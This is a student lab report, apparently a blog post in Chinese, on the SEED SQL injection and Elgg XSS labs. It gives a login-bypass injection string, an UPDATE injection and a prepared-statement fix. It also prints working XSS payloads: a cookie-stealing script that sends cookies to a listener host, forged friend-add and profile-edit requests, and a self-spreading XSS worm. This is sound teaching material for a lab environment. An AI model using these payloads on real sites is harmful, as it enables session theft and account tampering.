20222944 2022-2023-2 《网络攻防实践》实践十报告

20222944 2022-2023-2 《网络攻防实践》实践十报告

1.实践内容

1.1 SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

2.1 SEED SQL注入攻击与防御实验

2.1.1 mysql环境与基本SQL语句

在SEED Ubuntu 16.04虚拟机中启动mysql
打开终端,输入命令:mysql -u root -p,然后输入密码:seedubuntu
在这里插入图片描述
根据实验要求,我们要选定Users数据库中的creditential的表。
使用show databases;命令查看所有数据库(命令行的末尾要有分号,以表示一句SQL命令)。
在这里插入图片描述
使用Users数据库,命令:use Users;
查看Users数据库中的表,命令:show tables;
在这里插入图片描述
可以看到,只有一个表credential。
我们用SQL指令select * from credential;查看一下这张表的具体内容。
在这里插入图片描述
筛选Alice的信息,命令:select * from credential where Name='Alice';
在这里插入图片描述

2.1.2 对select语句的SQL注入攻击

在虚拟机的浏览器中输入www.SEEDLabSQLInjection.com
输入账户名Admin,然后随便输入一个密码,尝试进行登录。
登录失败。

在这里插入图片描述
进一步对该网站进行分析,可以得出,该网站在进行登录验证的操作的时候,使用了unsafe_home.php文件,而这个php文件正好在本机的一个文件夹下:/var/www/SQLInjection
在这里插入图片描述
打开这个文件,对这个php文件中的代码进行进一步分析。
在这里插入图片描述

这个网站使用SHA1对登录口令进行哈希运算,然后将哈希的结果存储到数据库中,用户在登录时,后台会将用户输入的口令进行SHA1运算,验证其是否与数据库中的值相等。
继续往下看,找到后台进行登录验证时使用的SQL指令。
在这里插入图片描述

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' and Password='$hashed_pwd'

我们知道,如果在一个mysql指令中输入#,那么#后面的就是对这行指令的注释了。我们注释掉密码部分

select id,name,eid,salary,nirth,ssn,phoneNumber,address,email,nickname,Password 
from credential 
WHERE name='$input_uname' # and Password='$hashed_pwd'

这也就意味着只需要输入“用户名+'+空格+#”,就能不用密码即可登录。
回到登录页面,将用户名改为Admin' #,不输入密码,尝试进行登录。
在这里插入图片描述
成功黑进该网站。
在这里插入图片描述

2.1.3 对update语句的SQL注入攻击

打开unsafe_edit_backend.php文件,找到修改数据库的命令。
在这里插入图片描述
类似于上一节的分析,我们只需要在输入的新的昵称**$input_nickname**后加一个 #,就能修改所有用户的昵称!

UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;
UPDATE credential SET nickname='$input_nickname'  #,email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2.1.4 SQL对抗——SQL注入漏洞的修复
经过上述的分析,我们可以看出,由于在后台使用了一行完整的sql指令进行数据库处理,我们可以借助sql命令格式的特点,使用“#”符号对本该拥有的筛选条件进行“截断”,这样就可以实现未经许可的侵入攻击,达到非法访问和篡改信息的目的。
实际上,实现SQL注入漏洞的修复的方法有很多。常见的修复措施有以下四点:

使用类型安全的参数编码机制。如:预编译指令集,这种方法通过封装好的方法处理输入的参数,避免因直接使用SQL语句字符串而产生的注入漏洞。
对外部的用户输入进行完备性检查。如:正则化过滤、字符串过滤等。
将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
加强数据库服务器的配置与连接
这里举一个例子。我们可以使用绑定参数的方法,对上述SQL语句进行修复:
修改前:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
      FROM credential
      WHERE name= '$input_uname' and Password='$hashed_pwd'";

修改后:

$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

这样,原有的SQL语句需要填写的地方将以“?”代替,使用bind_param方法,将传入的字符串参数替代字符串中的“?”符号,防止了针对SQL字符串的截断。

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 显示警报窗口

在浏览器中输入www.xsslabelgg.com,进入XSS实验网站。
输入用户名Alice和口令seedalice,登录Alice账户。
按照如下图所示方式进入Profile页面。
在这里插入图片描述
在这里插入图片描述
Brief Description栏中输入<script>alert("XSS");</script>,单击“save”保存设置。

在这里插入图片描述
在个人简介界面中显示了弹窗提示“XSS”。
在这里插入图片描述

2.2.2 cookies信息弹窗显示

修改刚才的brief description中的信息为

<script>alert(document.cookie);</script>

即可显示当前的cookie信息。
在这里插入图片描述

2.2.3 窃取受害者的cookies

查看本机ip地址:192.168.200.9
在这里插入图片描述
为了实现窃取受害者的cookies的攻击,我们需要构造下面的payload:
<script>document.write('<img src=http://192.168.200.9:5555?c=' + escape(document.cookie) + '>');</script>

在这个payload中,攻击者会从本机地址的5555端口返回一个图片,并且会得到一个cookie值。
将这个payload修改到在Alice账号的Brief description中。

为了捕获到escape方法中返回的变量c的值,我们打开一个终端,使用命令nc -l 5555 -v
将我们修改的个人信息保存,我们从终端中看到了一些信息:
在这里插入图片描述

2.2.4 成为受害者的朋友

我们分析一下添加好友的操作。
先进入一个好友的个人主页,比如说:Boby:www.xsslabelgg.com/profile/boby
在好友的个人主页,按下F12,打开开发者工具,然后切换到Network选项卡。
在这里插入图片描述
点击“Add friend”,浏览器便捕获到了一条请求。
在这里插入图片描述
点开这个请求,得到请求URL如下:

http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1683776534&__elgg_token=lqa-eMpe2uush2F4UYrJuA
这个请求URL包含如下信息:

地址:http://www.xsslabelgg.com/action/friends/add
好友ID(friend):45
时间戳:1652894432
token:Nbhjssw5yrGe-cnFAAYYSg

为了添加其他好友,构造下面的payload:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
	Ajax = new XMLHttpRequest();
	Ajax.open("GET", sendurl, true);
	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	Ajax.send();
}
</script>

将这个Payload填写在Alice的用户资料的About me中(要先点击Edit Html切换到HTML编辑模式,也就是那个没有编辑工具栏的模式),保存。
在这里插入图片描述
登录Boby的个人账户,然后点进Alice的个人主页,我们可直接在Web Console的Network中看到自动申请添加好友的数据包(密码)
在这里插入图片描述

2.2.5 修改受害者的信息

现在,我们分析一下修改个人信息时,会向服务器发送什么样的请求。
进入Alice的EDIT PROFILE界面,打开开发人员工具(按F12)在这里插入图片描述

我们可以看到,请求的链接地址为:http://www.xsslabelgg.com/action/profile/edit

还可以看到token(__elgg_token)和时间戳(__elgg_ts)等信息。在这里插入图片描述
构造下面的payload:

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>This had been changed by XSS attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

将这个payload代码拷贝到个人信息的About me中(要切换到Edit HTML模式),点击“保存”。

登录Boby的个人账户,然后点进Alice的个人主页,然后再返回,发现Boby的个人简介变成了“This had been changed by XSS attack.”
在这里插入图片描述

2.2.6 编写XSS蠕虫

蠕虫代码如下:

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "&name=" + userName + "&description=<p>Hacked by XSS WORM !!!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var samyGuid=44;
        if(elgg.session.user.guid!=samyGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

这个代码通过将XSS的payload自动复制到受害者的个人资料中实现对受害者的感染。如果有其他用户访问了受害者的个人主页,那么他也会被感染。受到感染后,受害者的个人简介会变为“Hacked by XSS WORM !!!”。
将这个蠕虫代码设为Alice的About me中的信息,保存。

如果好友Boby访问了Alice的主页,就会感染xss蠕虫。
在这里插入图片描述
查看Boby的 About me,发现也已经被改变了,感染了xss蠕虫攻击代码。
在这里插入图片描述
如果另一个用户(如Samy),访问了Boby的主页,那么他也会受到感染。(密码Samyseed)
在这里插入图片描述

2.2.7 对抗XSS攻击

Elgg本身已提供对抗XSS攻击插件,可用管理员账户登录账号密码为Admin,seedelgg,找到Account->administration->plugins,找到插件HTMLawed,点击activate激活。这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
在这里插入图片描述
在这里插入图片描述
查看Alice的profile,可以看到,刚刚的XSS攻击已经没有效果,Alice中的代码被当作about me显示出来了。
在这里插入图片描述
在这里插入图片描述

3.学习中遇到的问题及解决

没有

4.实践总结

20212920 2021-2022-2 《网络攻防实践》实践十报告
20212904 2021-2022-2 《网络攻防实践》实践十报告
20221905 2022-2023-2 《网络攻防实践》 第10周作业

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值